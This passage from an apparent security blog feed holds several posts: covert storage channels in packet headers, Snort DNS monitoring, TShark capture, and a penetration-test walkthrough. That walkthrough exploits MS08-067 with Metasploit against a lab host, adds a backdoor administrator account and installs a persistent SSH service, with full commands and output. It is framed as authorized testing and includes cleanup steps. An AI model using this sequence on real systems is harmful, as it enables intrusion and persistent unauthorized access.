src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_f6NpTwSysf0/SjEBaA6q_4I/AAAAAAAAAA4/Mkj14t8x1g8/s72-c/eap-dot1x.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2320276621879394553.post-3448100455666272999</id><published>2009-06-10T18:48:00.000-07:00</published><updated>2009-06-11T19:20:52.887-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='covert channel protocol header'/><title type='text'>Covert Channel Possibilities!</title><content type='html'>The IT network and security community often thinks of covert channels in terms of what has already been detected.   A good example is Loki, and other ICMP variants.    However, we should not forget that IP, TCP, UDP, and ICMP headers and payloads contain opportunities to hide data in storage channels.&lt;br /&gt;&lt;br /&gt;Header and application payload fields that can potentially be used for covert storage channels include the IP Identification field (16-bits), the TCP Initial Sequence Number (32-bits), the DNS identification field (16-bits), the TCP timestamp option (32-bits x 2), a portion (or all) of the source IP address, a TCP or UDP source port (16-bits) just to name a few.&lt;br /&gt;&lt;br /&gt;Some of these fields are deliberately (and highly) randomized during certain normal protocol transactions.  Thus, if we combine storage of covert data with symmetric key encryption, and nicely crafted bogus payload, we can yield a highly effective and hard to detect channel.&lt;br /&gt;&lt;br /&gt;When doing protocol and intrusion analysis, we should be careful to look at packet timing, and uni-directional versus bi-directional nature of protocol transactions.   You never know when you might be witnessing a covert storage or timing channel at work, and you might never really discover the content.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2320276621879394553-3448100455666272999?l=blog.packetheader.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.packetheader.net/feeds/3448100455666272999/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2320276621879394553&amp;postID=3448100455666272999' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/3448100455666272999'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/3448100455666272999'/><link rel='alternate' type='text/html' href='http://blog.packetheader.net/2009/06/covert-channels-food-for-thought.html' title='Covert Channel Possibilities!'/><author><name>Joff Thyer</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2320276621879394553.post-5492524489872286898</id><published>2009-01-18T15:08:00.000-08:00</published><updated>2009-01-18T15:43:16.197-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ethical hacking penetration testing openssh terminal shell'/><title type='text'>Installing OpenSSH on Windows via command shell</title><content type='html'>During a network penetration test, Windows command shell access is often obtained through some sort of exploit.   If, for example, Metasploit is being used, command shell access can be delivered as the payload of a buffer overflow exploit.   Or if perhaps the Meterpreter is being used, command shell access can be had by executing a CMD.EXE and interacting directly with it, or perhaps by having NETCAT shovel a command shell back to the penetration tester.&lt;br /&gt;&lt;br /&gt;The challenge is that command shell access is not equivalent to full terminal access.   The command shell may produce strange output due to control characters.  Some commands may not function normally if they depend on the use of control sequences.  If using NETCAT to shovel a shell, entering CTRL-C to terminate some command can end up terminating your shell!&lt;br /&gt;&lt;br /&gt;If a penetration tester is permitted to modify the target server, then a more consistent, fully functional terminal level access will greatly help during the testing process.    A number of choices exist including activating the telnet service, activating Microsoft terminal services (remote desktop protocol), installing VNC (www.realvnc.com), or installing OpenSSH for Windows.   VNC is a great choice as it provides an easy command line installation with files residing in a single directory, and only a limited number of registry entries, however it offers no encryption.  The telnet service offers no encryption either.&lt;br /&gt;&lt;br /&gt;OpenSSH for windows (&lt;a href="http://sshwindows.sourceforge.net/"&gt;http://sshwindows.sourceforge.net/&lt;/a&gt;) is a minimized Cygwin (&lt;a href="http://www.cygwin.com/"&gt;http://www.cygwin.com&lt;/a&gt;) environment that has been customized to support only SSH.  It supports SSH command line terminal access, and secure copy / secure file transfer.  Because the setup process in the OpenSSH packages uses the GUI, you have to perform some steps to customize your own command line only installation.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Preparing for a custom command line OpenSSH Installation in your lab&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The basic steps to prepare a command line OpenSSH installation for Windows are as follows:&lt;br /&gt;&lt;br /&gt;1. Download the setupssh.exe installation package from &lt;a href="http://sshwindows.sourceforge.net/download"&gt;http://sshwindows.sourceforge.net/download&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2. Run the GUI installer package on your Windows lab/test machine.  I suggest accepting the default program location of C:\Program Files\OpenSSH&lt;br /&gt;&lt;br /&gt;3. Get a full copy of all of the files under the directory C:\Program Files\OpenSSH onto a USB flash drive or other favorite media.  Copy recursively with XCOPY and make sure you fully retain the directory structure.&lt;br /&gt;&lt;br /&gt;4. Export the following registry keys using the REG EXPORT command as follows:&lt;br /&gt;&lt;br /&gt;     REG EXPORT “HKLM\SOFTWARE\Cygnus Solutions” 1.REG&lt;br /&gt;     REG EXPORT “HKLM\SYSTEM\CurrentControlSet\Services\OpenSSHd” 2.REG&lt;br /&gt;     REG EXPORT “HKLM\SYSTEM\ControlSet001\Services\OpenSSHd” 3.REG&lt;br /&gt;&lt;br /&gt;5. Concatenate all of these registry files together into one file.&lt;br /&gt;     TYPE 1.REG 2.REG 3.REG &gt;OPENSSH.REG&lt;br /&gt;&lt;br /&gt;6. Save this OPENSSH.REG file into your local copy of all of the openssh directory structure.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Performing an installation via command shell&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now that you have all of this data saved on your USB thumb drive, lets assume that our penetration testing machine is a CentOS Linux operating system with IP address of 192.168.1.37, and that our target is a Windows 2003 SP0 machine with IP address of 192.168.1.40.  Our penetration testing Linux machine has our OpenSSH package files mounted under /mnt/PenTestTools/win32/OpenSSH.&lt;br /&gt;&lt;br /&gt;Our target happens to have the MS08-067 Server Service RPC vulnerability.     Below is an example of how we exploit this vulnerability using Metasploit (www.metasploit.com) with the Meterpreter payload, upload our OpenSSH server files, add a new username, perform some minimal configuration and start the OpenSSH service.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Exploiting the Vulnerability&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;[root@localhost framework-3.2]# nc -v 192.168.1.40 445&lt;br /&gt;Connection to 192.168.1.40 445 port [tcp/microsoft-ds] succeeded!&lt;br /&gt;[root@localhost framework-3.2]# ./msfconsole&lt;br /&gt;                          &lt;br /&gt;msf &gt; search exploits ms08_067&lt;br /&gt;[*] Searching loaded modules for pattern 'ms08_067'...&lt;br /&gt;Exploits&lt;br /&gt;========&lt;br /&gt;Name                         Description                                          &lt;br /&gt;----                         -----------                                          &lt;br /&gt;windows/smb/ms08_067_netapi  Microsoft Server Service Relative Path Stack Corruption&lt;br /&gt;msf &gt; use windows/smb/ms08_067_netapi&lt;br /&gt;&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; set PAYLOAD windows/meterpreter/bind_tcp&lt;br /&gt;PAYLOAD =&gt; windows/meterpreter/bind_tcp&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; set RHOST 192.168.1.40&lt;br /&gt;RHOST =&gt; 192.168.1.40&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; set TARGET 5&lt;br /&gt;TARGET =&gt; 5&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; show options&lt;br /&gt;&lt;br /&gt;... truncated output ...&lt;br /&gt;Exploit target:&lt;br /&gt;&lt;br /&gt;Id  Name                    &lt;br /&gt;--  ----                    &lt;br /&gt;5   Windows 2003 SP0 Universal&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; exploit&lt;br /&gt;[*] Started bind handler&lt;br /&gt;[*] Triggering the vulnerability...&lt;br /&gt;[*] Transmitting intermediate stager for over-sized stage...(191 bytes)&lt;br /&gt;[*] Sending stage (2650 bytes)&lt;br /&gt;[*] Sleeping before handling stage...&lt;br /&gt;[*] Uploading DLL (75787 bytes)...&lt;br /&gt;[*] Upload completed.&lt;br /&gt;[*] Meterpreter session 1 opened (192.168.1.37:45633 -&gt; 192.168.1.40:4444)&lt;br /&gt;&lt;br /&gt;meterpreter &gt; sysinfo&lt;br /&gt;Computer: SYSTEM-HJ28HHGL7N&lt;br /&gt;OS      : Windows .NET Server (Build 3790, ).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Uploading your OpenSSH Files&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;meterpreter &gt; lcd /mnt/PenTestTools/win32/OpenSSH&lt;br /&gt;meterpreter &gt; lpwd&lt;br /&gt;/mnt/PenTestTools/win32/OpenSSH&lt;br /&gt;meterpreter &gt; cd \&lt;br /&gt;meterpreter &gt; cd "Program Files"&lt;br /&gt;meterpreter &gt; mkdir openssh&lt;br /&gt;Creating directory: openssh&lt;br /&gt;meterpreter &gt; cd openssh&lt;br /&gt;meterpreter &gt; pwd&lt;br /&gt;C:\Program Files\openssh&lt;br /&gt;meterpreter &gt; upload -r . .&lt;br /&gt;[*] uploading  : ./uninstall.exe -&gt; .\uninstall.exe&lt;br /&gt;[*] uploaded   : ./uninstall.exe -&gt; .\uninstall.exe&lt;br /&gt;[*] mirroring  : ./bin -&gt; .\bin&lt;br /&gt;[*] uploading  : ./bin/chmod.exe -&gt; .\bin\chmod.exe&lt;br /&gt;[*] uploaded   : ./bin/chmod.exe -&gt; .\bin\chmod.exe&lt;br /&gt;[*] uploading  : ./bin/chown.exe -&gt; .\bin\chown.exe&lt;br /&gt;[*] uploaded   : ./bin/chown.exe -&gt; .\bin\chown.exe&lt;br /&gt;[*] uploading  : ./bin/cygcrypto-0.9.7.dll -&gt; .\bin\cygcrypto-0.9.7.dll&lt;br /&gt;[*] uploaded   : ./bin/cygcrypto-0.9.7.dll -&gt; .\bin\cygcrypto-0.9.7.dll&lt;br /&gt;.... lots of output truncated ....&lt;br /&gt;&lt;br /&gt;meterpreter &gt; execute -f cmd.exe –i&lt;br /&gt;Process 848 created.&lt;br /&gt;Channel 66 created.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Modifying the Registry and Adding Your Own Username&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Here, we import all of our registry keys, then add our own username making sure to put it into the administrators group.   Then we create the passwd and group files that OpenSSH needs for authentication purposes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Microsoft Windows [Version 5.2.3790]&lt;br /&gt;(C) Copyright 1985-2003 Microsoft Corp.&lt;br /&gt;C:\Program Files\openssh&gt;whoami&lt;br /&gt;whoami&lt;br /&gt;nt authority\system&lt;br /&gt;&lt;br /&gt;C:\Program Files\openssh&gt;reg import openssh.reg&lt;br /&gt;reg import openssh.reg&lt;br /&gt;The operation completed successfully.&lt;br /&gt;&lt;br /&gt;C:\Program Files\openssh&gt;net user inet_p0wned gameover /add&lt;br /&gt;net user inet_p0wned gameover /add&lt;br /&gt;The command completed successfully.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C:\Program Files\openssh&gt;net localgroup administrators inet_p0wned /add&lt;br /&gt;net localgroup administrators inet_p0wned /add&lt;br /&gt;The command completed successfully.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C:\Program Files\openssh&gt;cd etc&lt;br /&gt;cd etc&lt;br /&gt;&lt;br /&gt;C:\Program Files\openssh\etc&gt;..\bin\mkpasswd -l &gt;passwd&lt;br /&gt;..\bin\mkpasswd -l &gt;passwd&lt;br /&gt;C:\Program Files\openssh\etc&gt;..\bin\mkgroup -l &gt;group&lt;br /&gt;..\bin\mkgroup -l &gt;group&lt;br /&gt;&lt;br /&gt;C:\Program Files\openssh\etc&gt;sc create opensshd binpath= "c:\program files\openssh\bin\cygrunsrv.exe" start= auto&lt;br /&gt;sc create opensshd binpath= "c:\program files\openssh\bin\cygrunsrv.exe" start= auto&lt;br /&gt;[SC] CreateService SUCCESS&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Start the OpenSSH Service&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;C:\Program Files\openssh\etc&gt;sc start opensshd&lt;br /&gt;sc start opensshd&lt;br /&gt;SERVICE_NAME: opensshd&lt;br /&gt;    TYPE               : 10  WIN32_OWN_PROCESS&lt;br /&gt;    STATE              : 2  START_PENDING&lt;br /&gt;                            (NOT_STOPPABLE, NOT_PAUSABLE,&lt;br /&gt;IGNORES_SHUTDOWN))&lt;br /&gt;    WIN32_EXIT_CODE    : 0  (0x0)&lt;br /&gt;    SERVICE_EXIT_CODE  : 0  (0x0)&lt;br /&gt;    CHECKPOINT         : 0x0&lt;br /&gt;    WAIT_HINT          : 0x7d0&lt;br /&gt;    PID                : 1916&lt;br /&gt;    FLAGS              :&lt;br /&gt;&lt;br /&gt;C:\Program Files\openssh\etc&gt;sc query opensshd&lt;br /&gt;sc query opensshd&lt;br /&gt;SERVICE_NAME: opensshd&lt;br /&gt;    TYPE               : 10  WIN32_OWN_PROCESS&lt;br /&gt;    STATE              : 4  RUNNING&lt;br /&gt;                            (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN))&lt;br /&gt;    WIN32_EXIT_CODE    : 0  (0x0)&lt;br /&gt;    SERVICE_EXIT_CODE  : 0  (0x0)&lt;br /&gt;    CHECKPOINT         : 0x0&lt;br /&gt;    WAIT_HINT          : 0x0&lt;br /&gt;&lt;br /&gt;C:\Program Files\openssh\etc&gt;netsh firewall add port protocol=tcp port=22 name=sshd mode=enable scope=custom addresses=192.168.1.0/24&lt;br /&gt;&lt;br /&gt;The following command was not found: firewall add port protocol=tcp port=22 name=sshd mode=enable scope=custom addresses=192.168.1.0/24**&lt;br /&gt;&lt;br /&gt;**Note: adding a port for the firewall is necessary if the firewall exists.  If not, then you will get the command not found error message.  It is a good idea to restrict the source networks so that you don’t leave a gaping opportunity while testing.&lt;br /&gt;&lt;br /&gt;C:\Program Files\openssh\etc&gt;exit&lt;br /&gt;exit&lt;br /&gt;meterpreter &gt; quit&lt;br /&gt;&lt;br /&gt;[*] Meterpreter session 1 closed.&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; quit&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Now, lets go ahead and SSH into our Windows server to check if things worked!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;root@localhost:~/framework-3.2]# ssh inet_p0wned@192.168.1.40&lt;br /&gt;The authenticity of host '192.168.1.40 (192.168.1.40)' can't be established.&lt;br /&gt;RSA key fingerprint is ab:c8:bf:9f:b2:38:32:1d:6f:2b:34:a5:d0:99:dc:49.&lt;br /&gt;Are you sure you want to continue connecting (yes/no)? yes&lt;br /&gt;Warning: Permanently added '192.168.1.40' (RSA) to the list of known hosts.&lt;br /&gt;&lt;br /&gt;OpenSSH for Windows. Welcome aboard!&lt;br /&gt;&lt;br /&gt;inet_p0wned@192.168.1.40's password:&lt;br /&gt;Could not chdir to home directory /home/inet_p0wned: No such file or directory&lt;br /&gt;Microsoft Windows [Version 5.2.3790]&lt;br /&gt;(C) Copyright 1985-2003 Microsoft Corp.&lt;br /&gt;C:\Program Files\OpenSSH&gt;&lt;br /&gt;C:\Program Files\OpenSSH&gt;whoami&lt;br /&gt;system-hj28hhgl7n\inet_p0wned&lt;br /&gt;&lt;br /&gt;C:\Program Files\OpenSSH&gt;exit&lt;br /&gt;Connection to 192.168.1.40 closed.&lt;br /&gt;[root@localhost framework-3.2]#&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Cleaning up&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To clean up everything when you are finished, you need to delete the OpenSSH service, delete the registry keys and remove all of the relevant files.  The following recipe should work reasonably well from a command shell.  Remember that you cannot be using OpenSSH when deleting the service!  So, you may need to exploit again with shell code before removing it.&lt;br /&gt;&lt;br /&gt;C:\&gt; SC STOP opensshd&lt;br /&gt;C:\&gt; SC DELETE opensshd&lt;br /&gt;C:\&gt; REG DELETE “HKLM\SOFTWARE\Cygnus Solutions” /f /va&lt;br /&gt;C:\&gt; REG DELETE “HKLM\SYSTEM\ControlSet001\Services\OpenSSHd” /f /va&lt;br /&gt;C:\&gt; REG DELETE “HKLM\SYSTEM\CurrentControlSet\Services\OpenSSHd” /f /va&lt;br /&gt;&lt;br /&gt;C:\&gt; CD "\Program Files"&lt;br /&gt;C:\Program Files&gt; RMDIR /Q /S opensshd&lt;br /&gt;C:\Program Files&gt; NETSH FIREWALL DELETE PORT TCP 22&lt;br /&gt;C:\Program Files&gt; NET USER inet_p0wned /DELETE&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2320276621879394553-5492524489872286898?l=blog.packetheader.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.packetheader.net/feeds/5492524489872286898/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2320276621879394553&amp;postID=5492524489872286898' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/5492524489872286898'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/5492524489872286898'/><link rel='alternate' type='text/html' href='http://blog.packetheader.net/2009/01/installing-openssh-on-windows-via.html' title='Installing OpenSSH on Windows via command shell'/><author><name>Joff Thyer</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2320276621879394553.post-7803298986296378156</id><published>2008-11-02T14:59:00.000-08:00</published><updated>2008-11-02T15:41:14.828-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='dns ids sensor snort'/><title type='text'>Focused IDS Sensor for DNS</title><content type='html'>Many enterprises have what is known as a split domain name system (DNS) configuration.  Split DNS is where you serve your internal network with one (or perhaps a pair) of DNS servers, but forward all unresolved requests to another DNS server(s) that lives within your DMZ.  Using split DNS provides some security protection for your internal DNS servers, and performance benefit in that the internal servers do not have to cache external network information. &lt;br /&gt;&lt;br /&gt;Additional security protection can be provided by carefully controlling your network perimeter (anti-spoofing and bogon filtering for example), and carefully configuring your external DNS servers to only respond to DNS requests that are within your network domain.&lt;br /&gt;&lt;br /&gt;In recent times, DNS cache poisoning has risen as a significant challenge yet again.  It has been noted that DNS is fundamentally flawed due to it's weak reliance on a matching DNS identification and packet source information in query responses.  Though widespread deployment of DNSSEC (secure) is the correct solution, it has not gained in popularity enough at this time.&lt;br /&gt;&lt;br /&gt;Beyond ensuring that you have correct vendor patches, which are written to ensure significant entropy in the randomly chosen DNS identification field, and UDP source ports, there needs to be another method to indicate that your DNS cache may be poisoned. &lt;br /&gt;&lt;br /&gt;The two methods I find effective are to use the CAIDA project's DNS statistics collector (DSC), and to also deploy a focused Intrusion Detection Sensor (IDS) with Snort running directly on my DNS servers.&lt;br /&gt;&lt;br /&gt;First of all, I would recommend becoming a registered snort user at &lt;a href="http://www.snort.org/"&gt;www.snort.org&lt;/a&gt; in order to stay within about one month's release of the up to date snort signatures.   Then, assuming you are running a UNIX based system for your DNS server(s), download the latest snort source code which as of this writing is &lt;a href="http://www.snort.org/dl/snort-2.8.3.1.tar.gz"&gt;snort-2.8.3.1.tar.gz&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Compile and install snort.&lt;/li&gt;&lt;li&gt;After installation, you should have a /etc/snort directory which contains a basic snort configuration file and the base set of rules.&lt;/li&gt;&lt;li&gt;Download the latest registered user rule set from snort.org and extact it inside the /etc/snort directory.&lt;/li&gt;&lt;li&gt;Now, start editing the /etc/snort/snort.conf file with your favorite text editor.   In some installations, this file might be located in /etc/snort/rules.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;Key variables you must set in order to get snort functioning are as follows with examples:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;HOME_NET = $eth0_ADDRESS&lt;/li&gt;&lt;li&gt;EXTERNAL_NET = !$HOME_NET&lt;/li&gt;&lt;li&gt;DNS_SERVERS = [172.16.1.1, 172.16.2.1]&lt;/li&gt;&lt;/ul&gt;Since this is a focused sensor, I would suggest that the home network (HOME_NET) be set to the address of the DNS server itself.  The external network variable can simply be anything that is not the home network.&lt;br /&gt;&lt;br /&gt;With regard to snort's preprocessors, you will need to keep &lt;span style="font-weight: bold;"&gt;frag3&lt;/span&gt; and &lt;span style="font-weight: bold;"&gt;stream5&lt;/span&gt; for both framentation and stream reassembly.     Most importantly, the only remaining preprocessor you must have configured is the DNS preprocessor.&lt;br /&gt;&lt;br /&gt;To keep the sensor memory usage low, I would disable (by commenting out) all other preprocessors, such as ftp_telnet, http, dcerpc etc.   You are deploying a sensor focused on DNS so lets keep it optimized and looking at DNS traffic!&lt;br /&gt;&lt;br /&gt;Next, go down to where the &lt;span style="font-weight: bold;"&gt;include&lt;/span&gt; statements reside, and comment out ALL of the includes listed except the one that reads:   &lt;span style="font-weight: bold;"&gt;include $RULE_PATH/dns.rules&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now, test your configuration:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;snort -p -c /etc/snort/snort.conf -A cmg -u_snort -g_snort -t/var/snort -l/var/snort/log&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;You should watch the output and make sure that there are no errors.   Also, please note that the above command line uses the &lt;span style="font-weight: bold;"&gt;-p&lt;/span&gt; flag to disable promiscuous mode on your DNS server interface card.  Again, let's remember that this is a focused sensor that is looking at the traffic going to/from this specific DNS system so your network card does NOT need to see other system traffic.&lt;br /&gt;&lt;br /&gt;Also, to be as secure as possible, always run as a non-root user, hence the use of the  &lt;span style="font-weight: bold;"&gt;-u_snort&lt;/span&gt; and &lt;span style="font-weight: bold;"&gt;-g_snort&lt;/span&gt; to change the effective running user and group id respectively.&lt;br /&gt;&lt;br /&gt;Once you have checked that your configuration is operating as expected, then setup snort to run at boot time, and start the process as follows:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;snort -pD -c/etc/snort/snort.conf -u_snort -g_snort -t/var/snort -l/var/snort/log&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I would additionally suggest adding &lt;span style="font-weight: bold;"&gt;output alert_syslog&lt;/span&gt; into your configuration.   If things are setup properly, the false positive (noise) level should be very low, so I personally syslog ALL alerts to the console of the UNIX system itself as well as the root user to make sure that if any IDS alerts show up, I will see them.&lt;br /&gt;&lt;br /&gt;Following all these steps now gives you the equivalent of the canary in the coal mine.  Your snort sensor is optimally configured to start sqawking if there are events such as a large number of DNS NXDOMAIN replies indicating potential cache posioning.&lt;br /&gt;&lt;br /&gt;The additional bonus is that you will quickly find applications on your network that are misbehaving and incorrectly beating on your DNS infrastructure when they should not be!&lt;br /&gt;&lt;br /&gt;Happy hunting.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2320276621879394553-7803298986296378156?l=blog.packetheader.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.packetheader.net/feeds/7803298986296378156/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2320276621879394553&amp;postID=7803298986296378156' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/7803298986296378156'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/7803298986296378156'/><link rel='alternate' type='text/html' href='http://blog.packetheader.net/2008/11/focused-ids-sensor-for-dns.html' title='Focused IDS Sensor for DNS'/><author><name>Joff Thyer</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2320276621879394553.post-240539855424241938</id><published>2008-10-25T06:48:00.001-07:00</published><updated>2008-10-25T09:07:30.091-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tshark wireshark packet capture'/><title type='text'>TShark - High performance packet capture</title><content type='html'>Wireshark users may not realize that there is a command line version of Wireshark, namely TShark, which provides superior packet capture performance.  The challenge with Wireshark is that it has to update all of the window elements while at the same time capturing data, and it's defaults do not favor performance.&lt;br /&gt;&lt;br /&gt;When you are in a situation of very high traffic flow (like a DoS attack perhaps), you really need to capture as much of the data as possible to a file for later "post analysis". I always use a combination of setting up the TShark capture with Berkeley Packet Filter (BPF), and then plugging the RJ-45 Ethernet cable in after the capture is set to run.&lt;br /&gt;&lt;br /&gt;To run TShark within MS-Windows, you need to start a command window first.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Start -&gt; Run -&gt; CMD.EXE&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Find the directory that TShark is installed within. For a default Wireshark installation, it is probably as follows:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;CD \Program Files\Wireshark&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Then, find out the HELP syntax from TShark:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;tshark -h&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The first thing you must do is find out which network interface number you must use for the data capture.&lt;br /&gt;&lt;br /&gt;tshark -D shows all of the interfaces with an integer number in front of them. Windows understands all network interfaces by the long hexadecimal object identifier but you really don't want to have to remember that!&lt;br /&gt;&lt;br /&gt;example output:&lt;br /&gt;&lt;br /&gt;1. \Device\NPF_{11A468B6-C065-45F6-AB32-D69695A6F601} (MS Tunnel Interface Driver)&lt;br /&gt;2. \Device\NPF_{A16900A3-020C-4B05-B430-4CD67527C189} (Realtek RTL8168B/8111B PCI-E Gigabit Ethernet NIC)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now, select the right interface, capture some data and write it directly to a file. For example:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;tshark-i 2 -s 200 -w example.pcap -f "tcp[13] = 0x14"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The particular example shown above captures data with the 13th offset of the TCP header equal to hexadecimal of 0x14. This happens to be packets that have the TCP flags of RST and ACK set. The -i flag is used to select the capture interface.&lt;br /&gt;&lt;br /&gt;TShark will count the packets captured, and then you simply use the CTRL-C keyboard sequence to stop the capture when finished. After that, open your example.pcap file within Wireshark for full analysis. The (.pcap) file extension ensures you could simply double click the file itself.&lt;br /&gt;&lt;br /&gt;With regard to the -s (snap length) flag, be aware that TShark will default to a packet capture length of 65,535 bytes, which given a standard 1514 MTU Ethernet frame size, will always capture the entire packet. Using a snaplen of 68 bytes makes the behavior of TShark identical to tcpdump default behavior.&lt;br /&gt;&lt;br /&gt;Early versions of TShark did not allow a snaplen that is less than 68 bytes, however I believe there is a source patch that has fixed this now for those who like capturing headers only!   Some quick calculations:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt; Ethernet header = 14 bytes&lt;/li&gt;&lt;li&gt; IPv4 header (without options) = 20 bytes&lt;/li&gt;&lt;li&gt; TCP header (without options) = 20 bytes&lt;/li&gt;&lt;li&gt; Typical TCP header options for Windows Vista = 12 bytes&lt;/li&gt;&lt;li&gt; UDP header = 8 bytes&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;If we examine a TCP SYN packet of a modern operating system, there are almost always TCP options attached.   Windows Vista by default will use Max Segment Size (0x02), Window Scaling (0x03), and Selective Acknowledgement (0x04), as well as three No Operation (NOP = 0x01) options, giving a total of 12 bytes on a TCP SYN packet.   The NOP option is used to pad the options data to even byte boundaries so that  32-bit processor code is happy!&lt;br /&gt;&lt;br /&gt;To capture a Windows Vista TCP SYN packet header under IPv4 with all options, we would need a minimal snap length as follows:&lt;br /&gt;&lt;br /&gt;14 (Ethernet header) + 20 (IP header) + 20 (TCP header) + 12 (TCP options) = 66 bytes.&lt;br /&gt;&lt;br /&gt;If you want to throw in some payload data, then add more to the snap length from there. I find that a snap length of about 200 gives good performance and captures a reasonable amount of data.&lt;br /&gt;&lt;br /&gt;Keep your goals in mind! If you were capturing traffic that is a Samba CIFS file read for example, you can be pretty sure that the server to client TCP packets will have 1514 bytes of data, so use the default snaplen!&lt;br /&gt;&lt;br /&gt;With regard to the Berkeley Packet Filters (libpcap / BPF), the standard language syntax applies. So, if ever in need of help, you can always get on a UN*X host somewhere and do 'man tcpdump' and learn all about the BPF syntax used within libpcap.&lt;br /&gt;&lt;br /&gt;Some ideas as follows:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;-f "src host 1.2.3.4 and dst host 5.4.3.2"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;-f "dst port 22"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;-f "dst port 80"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This last example shows some interesting ways 